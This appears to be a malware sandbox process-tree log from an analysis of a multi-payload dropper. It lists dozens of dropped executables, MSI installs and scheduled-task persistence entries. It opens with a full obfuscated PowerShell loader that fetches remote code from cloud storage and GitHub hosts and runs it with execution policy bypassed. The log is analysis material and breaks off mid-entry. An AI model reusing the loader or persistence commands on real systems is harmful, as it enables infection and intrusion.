      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Wzt = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPSঔৣ⇜naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdjঔৣ⇜vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRjElMjBsaW5rJTIwZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49ZTczODlhZDItNGFkOS00ZmI3LWJmNjঔৣ⇜tMmE1MDJiYmI2YzZjJyঔৣ⇜7JFB4UHl0ID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdkU3Z3bi50eHQnKTskd2ViQ2xpZW50LkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjঔৣ⇜7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiঔৣ⇜oS0hUTUwsIExpa2UgR2Vja28pIENocm9tZS8xMjঔৣ⇜uMC4wLjঔৣ⇜gU2FmYXJpLzUzNy4zNiBFZGcvMTIwLjঔৣ⇜uMC4wJyk7JHBUZ2RnID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCঔৣ⇜7JEhjWEJzID0gJHBUZ2RnLkRvd25sb2FkU3RyaW5nKCঔৣ⇜kcHFtam9hICkgOyRIY1hCcyB8IE91dC1GaWxlIC1GaWxlUGF0aCঔৣ⇜kUHhQeXQgLUVuY29kaW5nICdVVEY4Jyঔৣ⇜tZm9yY2UgOyRXeE5Deiঔৣ⇜9ICggJ0M6XFByb2dyYW1EYXRhXCcgKyঔৣ⇜nZFN2d24udHh0JykgOyRaSmJzVVggPSঔৣ⇜nTG9hZCcgOyRaU0RZRyঔৣ⇜9ICdJbnZva2UnOyR5TmxVTyঔৣ⇜9ICRudWxsOyRZV0ZJYiঔৣ⇜9ICckdHhJZU4gPSঔৣ⇜nJ3R4dC5pc21fa3NhdC9uaWFtL3NkYWVoL3NmZXIvc292aWhjcmEtc2ltL2dwai02MjYyNjJyZWxnbmVwcy9tb2MudG5ldG5vY3Jlc3VidWh0aWcud2FyLy86JycgKyঔৣ⇜nJ3NwdCcnICsgJyd0aCcnIDsnIDskWVdGSWIgKz0gJzskeCঔৣ⇜9ICgnJ0M6XFByb2dyYW1EYXRhXGRTdnduLnR4dCcnKTskT2dtZWdjID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskT2dtZWdjID0gJE9nbWVnYy5yZXBsYWNlKCcnPT09PT09PT09JycsICcnQScnKTsnIDskWVdGSWIgKz0gJ1tCeXRlW11dICRWTG1QZSঔৣ⇜9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRPZ21lZ2MgKSঔৣ⇜7Jyঔৣ⇜7JFlXRkliICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jyঔৣ⇜rICc6Q3VycmVudERvbWFpbi4nICsgJFpKYnNVWCঔৣ⇜rICcoICRWTG1QZSঔৣ⇜pLicgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜nR2V0VHlwZSggJydGanJELkdxZ2EnJyঔৣ⇜pLkdldE1ldCcgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜naG9kKCঔৣ⇜nJ05SSk9NUycnICkuJyঔৣ⇜rICRaU0RZRyঔৣ⇜rICcoICR5TmxVTyঔৣ⇜sIFtvYmplY3RbXV0gKCঔৣ⇜oICR0eEllTiঔৣ⇜pICwgJycldWpKRGRVJScnICwgJydPRXpUSkMnJywgJycwMycnLCঔৣ⇜nJzEnJywgJydjYWNhJycgICkgKSঔৣ⇜7Jyঔৣ⇜7JFdFTUVTID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdEdlZicy5wczEnICkgOyRZV0ZJYiB8IE91dC1GaWxlIC1GaWxlUGF0aCঔৣ⇜kV0VNRVMgIC1mb3JjZSঔৣ⇜7cG93ZXJzaGVsbCঔৣ⇜tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyঔৣ⇜tRmlsZSঔৣ⇜kV0VNRVMgOw==';$jXaFy = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($Wzt -replace 'ঔৣ⇜','A') ) );$jXaFy = ($jXaFy -replace '%ujJDdU%', 'C:&Users&Admin&AppData&Local&Temp&a&System1.vbs');$WxNCz = ( 'C:\ProgramData\' + 'Vy.ps1') ;$jXaFy | Out-File -FilePath $WxNCz -force ;;powershell -ExecutionPolicy Bypass -File $WxNCz;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7952
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\Vy.ps1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8876
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\DvVbs.ps1
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13276
- - C:\Users\Admin\AppData\Local\Temp\a\Clientmay.exe
    Clientmay.exe
    3⤵
    PID:7064
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hgnd3cnb.0of"
      4⤵
      PID:7892
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\hgnd3cnb.0of /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\hgnd3cnb.0of\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\hgnd3cnb.0of --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff92660c728,0x7ff92660c734,0x7ff92660c740
        5⤵
        
        PID:14852
- - C:\Users\Admin\AppData\Local\Temp\a\sallah.exe
    sallah.exe
    3⤵
    PID:7580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\juas1dvv.20y"
      4⤵
      PID:16012
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\juas1dvv.20y /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\juas1dvv.20y\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\juas1dvv.20y --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff92660c728,0x7ff92660c734,0x7ff92660c740
        5⤵
        
        PID:16356
- - C:\Users\Admin\AppData\Local\Temp\a\php.exe
    php.exe
    3⤵
    PID:7908
- - C:\Users\Admin\AppData\Local\Temp\a\4567.exe
    4567.exe
    3⤵
    PID:7304
- - C:\Users\Admin\AppData\Local\Temp\a\hilton.exe
    hilton.exe
    3⤵
    PID:7540
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x
      4⤵
      PID:7228
- - C:\Users\Admin\AppData\Local\Temp\a\123456789.exe
    123456789.exe
    3⤵
    PID:7568
- - C:\Users\Admin\AppData\Local\Temp\a\s287.exe
    s287.exe
    3⤵
    PID:5532
  - - C:\Users\Admin\AppData\Local\Temp\a\V19WUgrYBBhq.exe
      V19WUgrYBBhq.exe 5532
      4⤵
      PID:5420
- - C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exe
    file_b584670f7ec2f317.exe
    3⤵
    PID:7020
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe Approved%20Document%23402.vbs
    3⤵
    PID:7960
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c hold.bat
    3⤵
    PID:548
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe System.vbs
    3⤵
    PID:7204
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe System4.vbs
    3⤵
    PID:8240
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:8256
- - C:\Users\Admin\AppData\Local\Temp\a\sunwukongs.exe
    sunwukongs.exe
    3⤵
    PID:8620
- - C:\Users\Admin\AppData\Local\Temp\a\TitanuimXross01.exe
    TitanuimXross01.exe
    3⤵
    PID:8788
- - C:\Users\Admin\AppData\Local\Temp\a\Wizard.exe
    Wizard.exe
    3⤵
    PID:8780
- - C:\Users\Admin\AppData\Local\Temp\a\whatever.exe
    whatever.exe
    3⤵
    PID:8796
- - C:\Users\Admin\AppData\Local\Temp\a\ThornFlash3Client.exe
    ThornFlash3Client.exe
    3⤵
    PID:8852
- - C:\Users\Admin\AppData\Local\Temp\a\tXmCLyGO.exe
    tXmCLyGO.exe
    3⤵
    PID:8948
- - C:\Users\Admin\AppData\Local\Temp\a\v49922.exe
    v49922.exe
    3⤵
    PID:9088
- - C:\Users\Admin\AppData\Local\Temp\a\Thimble.exe
    Thimble.exe
    3⤵
    PID:10024
- - C:\Users\Admin\AppData\Local\Temp\a\beacon.exe
    beacon.exe
    3⤵
    PID:9816
- - C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exe
    namuvpnx2.exe
    3⤵
    PID:9868
  - - C:\Users\Admin\AppData\Local\Temp\365vpnx2\365vpnx2.exe
      "C:\Users\Admin\AppData\Local\Temp\365vpnx2\365vpnx2.exe"
      4⤵
      PID:11144
- - C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN7.exe
    NAMUVPN7.exe
    3⤵
    PID:10208
- - C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN7.exe
    NAMUVPN7.exe
    3⤵
    PID:7668
- - C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exe
    namuvpnx2.exe
    3⤵
    PID:4980
- - C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN7.exe
    NAMUVPN7.exe
    3⤵
    PID:9976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:10068
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i UVSODSAE.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10008
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i cl.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:1576
- - C:\Users\Admin\AppData\Local\Temp\a\21.exe
    21.exe
    3⤵
    PID:3960
  - - C:\Users\Admin\AppData\Local\Temp\is-CVJK28AYSH.tmp\21.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-CVJK28AYSH.tmp\21.tmp" /SL5="$10646,2755816,866304,C:\Users\Admin\AppData\Local\Temp\a\21.exe"
      4⤵
      PID:11920
- - C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:5448
- - C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:10092
- - C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:10088
- - C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:9832
- - C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:8688
- - C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:9776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File stage1.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:10512
- - C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:10588
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10588 -s 1020
      4⤵
      Program crash
      PID:12804
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10588 -s 1020
      4⤵
      Program crash
      PID:12812
- - C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:10572
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10572 -s 992
      4⤵
      Program crash
      PID:11488
- - C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:10580
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10580 -s 992
      4⤵
      Program crash
      PID:12752
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10580 -s 992
      4⤵
      Program crash
      PID:12820
- - C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:10528
- - C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN32.exe
    NAMUVPN32.exe
    3⤵
    PID:10536
- - C:\Users\Admin\AppData\Local\Temp\a\namuvpnxp.exe
    namuvpnxp.exe
    3⤵
    PID:10804
- - C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:10792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:9672
- - C:\Users\Admin\AppData\Local\Temp\a\01.exe
    01.exe
    3⤵
    PID:4736
- - C:\Users\Admin\AppData\Local\Temp\a\ShellHost.exe
    ShellHost.exe
    3⤵
    PID:9968
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:14344
- - C:\Users\Admin\AppData\Local\Temp\a\IMG001.exe
    IMG001.exe
    3⤵
    PID:9448
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
      4⤵
      PID:15500
- - C:\Users\Admin\AppData\Local\Temp\a\loader.exe
    loader.exe
    3⤵
    PID:11384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c color 0D
      4⤵
      PID:14956
- - C:\Users\Admin\AppData\Local\Temp\a\HorionInjector.exe
    HorionInjector.exe
    3⤵
    PID:11776
- - C:\Users\Admin\AppData\Local\Temp\a\pieletJF_vm.exe
    pieletJF_vm.exe
    3⤵
    PID:11768
- - C:\Users\Admin\AppData\Local\Temp\a\GMSSetupX86.exe
    GMSSetupX86.exe
    3⤵
    PID:11800
- - C:\Users\Admin\AppData\Local\Temp\a\c1i.exe
    c1i.exe
    3⤵
    PID:11912
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe
      4⤵
      PID:12880
- - C:\Users\Admin\AppData\Local\Temp\a\pieletJF.exe
    pieletJF.exe
    3⤵
    PID:11760
- - C:\Users\Admin\AppData\Local\Temp\a\EDMSLauncherSetup.exe
    EDMSLauncherSetup.exe
    3⤵
    PID:11992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM EdmsLauncher.exe
      4⤵
      Kills process with taskkill
      PID:7804
- - C:\Users\Admin\AppData\Local\Temp\a\Bexitor%20Installer.exe
    Bexitor%20Installer.exe
    3⤵
    PID:12000
- - C:\Users\Admin\AppData\Local\Temp\a\fscan32.exe
    fscan32.exe
    3⤵
    PID:12052
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Receipt_11_26_2025.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10264
- - C:\Users\Admin\AppData\Local\Temp\a\build.exe
    build.exe
    3⤵
    PID:10044
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i dev.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:12032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File amsibypass.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:10268
- - C:\Users\Admin\AppData\Local\Temp\a\ProctorU.1.32.win.08.exe
    ProctorU.1.32.win.08.exe
    3⤵
    PID:12460
- - C:\Users\Admin\AppData\Local\Temp\a\test.exe
    test.exe
    3⤵
    PID:13108
- - C:\Users\Admin\AppData\Local\Temp\a\fo-wsftp605.exe
    fo-wsftp605.exe
    3⤵
    PID:12592
- - C:\Users\Admin\AppData\Local\Temp\a\1.exe
    1.exe
    3⤵
    PID:12600
  - - C:\Users\Admin\AppData\Local\Temp\is-CH59J.tmp\1.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-CH59J.tmp\1.tmp" /SL5="$3087E,17478519,807424,C:\Users\Admin\AppData\Local\Temp\a\1.exe"
      4⤵
      PID:9932
- - C:\Users\Admin\AppData\Local\Temp\a\jqqvLru0VAiH3z.exe
    jqqvLru0VAiH3z.exe
    3⤵
    PID:12748
- - C:\Users\Admin\AppData\Local\Temp\a\bsg.exe
    bsg.exe
    3⤵
    PID:6896
- - C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exe
    fastping_silent_v4.exe
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:13468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM FastPing.exe
      4⤵
      Kills process with taskkill
      PID:13804
- - C:\Users\Admin\AppData\Local\Temp\a\x64-setup.exe
    x64-setup.exe
    3⤵
    PID:14896
- - C:\Users\Admin\AppData\Local\Temp\a\offlinepackv4.exe
    offlinepackv4.exe
    3⤵
    PID:16180
- - C:\Users\Admin\AppData\Local\Temp\a\lol.exe
    lol.exe
    3⤵
    PID:16188
- - C:\Users\Admin\AppData\Local\Temp\a\1210.exe
    1210.exe
    3⤵
    PID:4568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File w937gs27h.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:14500
- - C:\Users\Admin\AppData\Local\Temp\a\tlp.exe
    tlp.exe
    3⤵
    PID:15772
- - C:\Users\Admin\AppData\Local\Temp\a\imgs.exe
    imgs.exe
    3⤵
    PID:11180
- - C:\Users\Admin\AppData\Local\Temp\a\OK_TEST_WORK.exe
    OK_TEST_WORK.exe
    3⤵
    PID:15004

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
PID:5776
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  PID:5596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    PID:3168
  - - C:\Windows\System32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3616
- - C:\Windows\System32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    PID:1428
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      PID:2980
- - C:\Windows\System32\a\file_a8b257b458693ac9.exe
    file_a8b257b458693ac9.exe
    3⤵
    PID:5376
  - - C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe"
      4⤵
      PID:8648
- - C:\Windows\System32\a\RoxanneIQ6.exe
    RoxanneIQ6.exe
    3⤵
    PID:9188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RoxanneIQ6.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
      4⤵
      PID:10124
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2bc,0x390,0x7ff92a2ac188,0x7ff92a2ac194,0x7ff92a2ac1a0
        5⤵
        
        PID:9260
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1652,i,14062888731070145843,17643545020021665898,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=2616 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:1692
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1976,i,4168089374397091957,14692241191015422158,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:13
        5⤵
        
        PID:7320
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1520,i,9937886270223740568,15671660836470753989,262144 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=2584 /prefetch:2
        5⤵
        
        PID:4080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3624,i,15423884211724512344,18143251838680754427,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:1
        5⤵
        
        PID:9972
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3628,i,5776323903221429992,305496369197837429,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:1
        5⤵
        
        PID:2812
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4352,i,14773909119582629949,10380484047731481507,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:1
        5⤵
        
        PID:10296
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4408,i,10095680303652325110,5063808821108427416,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=4348 /prefetch:9
        5⤵
        
        PID:10304
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4548,i,9066336476206108076,15743933723663427656,2097152 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:1
        5⤵
        
        PID:10328
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3724,i,3714853365715729093,16834503581292558601,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:14
        5⤵
        
        PID:11116
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5612,i,1255163377132412124,9704621430890607346,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:14
        5⤵
        
        PID:8464
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,1227751250193344134,16253395253664805137,524288 --field-trial-handle=2588,i,2659404354039439053,13609493849324043912,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:14
        5⤵
        
        PID:7856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
